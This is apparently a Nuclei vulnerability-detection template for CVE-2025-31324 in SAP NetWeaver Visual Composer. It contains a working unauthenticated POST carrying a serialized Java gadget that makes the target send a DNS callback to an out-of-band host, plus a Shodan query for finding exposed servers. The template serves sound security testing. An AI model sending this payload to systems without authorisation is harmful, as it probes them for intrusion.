SAP NetWeaver Visual Composer Metadata Uploader - Deserialization

id: CVE-2025-31324

info:
  name: SAP NetWeaver Visual Composer Metadata Uploader - Deserialization
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.
  reference:
    - https://www.bleepingcomputer.com/news/security/sap-fixes-suspected-netweaver-zero-day-exploited-in-attacks/
    - https://www.theregister.com/2025/04/25/sap_netweaver_patch/
    - https://me.sap.com/notes/3594142
    - https://url.sap/sapsecuritypatchday
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-31324
    cwe-id: CWE-434
    epss-score: 0.27891
    epss-percentile: 0.96312
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"SAP NetWeaver Application Server Java"
  tags: cve,cve2025,sap,netweaver,rce,deserialization,kev,vkev

variables:
  oast: ".{{interactsh-url}}"
  payload: "{{padding(oast,'a',54,'prefix')}}"


http:
  - raw:
      - |
        POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data

        {{zip('.properties',replace(base64_decode('rO0ABXNyABRqYXZhLnV0aWwuUHJvcGVydGllczkS0HpwNj6YAgABTAAIZGVmYXVsdHN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHIAE2phdmEudXRpbC5IYXNodGFibGUTuw8lIUrkuAMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAADdwgAAAAFAAAAAnQADnByb2plY3QtbmF0dXJlc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAFzcgAMamF2YS5uZXQuVVJMliU3Nhr85HIDAAdJAAhoYXNoQ29kZUkABHBvcnRMAAlhdXRob3JpdHl0ABJMamF2YS9sYW5nL1N0cmluZztMAARmaWxlcQB+AAhMAARob3N0cQB+AAhMAAhwcm90b2NvbHEAfgAITAADcmVmcQB+AAh4cP//////////dAA2YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhdAAAcQB+AAp0AARodHRwcHh0AD1odHRwOi8vYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFheHQAC0VYUE9SVC1OQU1FdAATc29tZV9wcm9qZWN0X25hbWV4eHhw'),'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',payload))}}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains_all(body, 'FAILED', 'Cause')
        condition: and
# digest: 490a00463044022066347b46b9661cb354c281a8fe72ef30b7af085bf45233f4f9d673ecfba91a86022058ed3c5cee2907f3223f72aaefb6b6c37a86f1ec7270635c8d86fba14934b9fc:922c64590222798bb761d5b6d8e72950